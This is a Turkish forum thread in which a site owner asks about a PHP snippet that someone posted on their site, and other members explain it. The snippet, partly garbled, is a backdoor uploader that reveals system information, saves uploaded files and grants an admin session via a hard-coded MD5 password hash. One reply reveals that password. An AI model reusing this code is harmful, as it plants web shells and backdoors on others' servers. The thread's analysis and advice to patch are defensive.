Bu kod nedir

Question

Birisi sitemde gönderi olarak paylaşmış . Bu kod nedir ? ( Sitemin kodlarla hiçbir alakası yok. İmzamdaki sitedir) Namesis

'.php_uname().'
';echo '';if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload Success !!!

'; } else { echo 'Upload Fail !!!

'; }} } if($_POST["p"]){ $p = $_POST["p"]; $pa = md5($p); if($pa=="f6dee6ab99c48e6c77bd0817628c3f71"){ $_SESSION["adm"] = 1; } } ?>

YusufMeric · Answer

https://www.phpr.org/php-session-oturum-yonetimi/

Hafizyazar · Answer

Misafir adlı üyeden alıntı:						mesajı görüntüle									https://www.phpr.org/php-session-oturum-yonetimi/ 		Bu kodu gönderi olarak paylaşan kişi ne yapmaya çalışmış onu anlamadim. Gönderi olarak kod giren biri kodlarla oturumu yönetebilir mi ki ?

asiminnesli · Answer

bir seyler denemek istemis ama olmaz sanirim daha mantikli yollari var 
not: parolaniz "duman" sa degistirin

Hafizyazar · Answer

asiminnesli adlı üyeden alıntı:						mesajı görüntüle									bir seyler denemek istemis ama olmaz sanirim daha mantikli yollari var
not: parolaniz "duman" sa degistirin 		Bilgi için teşekkür ediyorum hocam. Yok hayır duman değil parolam.md5 çözme kısmından bende baktım ona . Büyük ihtimalle kendi parolası

awoken · Answer

Basit bir upload kodu bu. Bu upload formunu kullanarak web shell dediğimiz yazılımlardan upload etmeye çalışacaklar.

delikanli53 · Answer

Eskiden bu tarz kodları siteye hangi yolla girerseniz girin işe yaradı php bunu yıllar önce kapadı ama arkadaşın haberi yok deneme yapıyor.

Hafizyazar · Answer

awoken adlı üyeden alıntı:						mesajı görüntüle									Basit bir upload kodu bu. Bu upload formunu kullanarak web shell dediğimiz yazılımlardan upload etmeye çalışacaklar. 		Basarabilir mi bu kodla ? 
						delikanli53 adlı üyeden alıntı:						mesajı görüntüle									Eskiden bu tarz kodları siteye hangi yolla girerseniz girin işe yaradı php bunu yıllar önce kapadı ama arkadaşın haberi yok deneme yapıyor. 		Amatör hackerle karşı karşıyayız desenize &#128516;

chnyrdkl · Answer

Acemi birisi..

Hafizyazar · Answer

chnyrdkl adlı üyeden alıntı:						mesajı görüntüle									Acemi birisi.. 		İyiki  yoksa site patlardi

awoken · Answer

Hafizyazar adlı üyeden alıntı:						mesajı görüntüle									Basarabilir mi bu kodla ?

Amatör hackerle karşı karşıyayız desenize &#128516; 		WordPress metin düzenleyicide yazılan PHP kodları normal metin gibi yorumlanır. Buraya koymasının sebebi muhtemelen acemi olması.

Ama bu yine de risk yok demek değil, sitenizdeki açığı kapatmalısınız. Bu kodu 404 sayfasına enjekte ederek oradan sızmaya çalışabilir.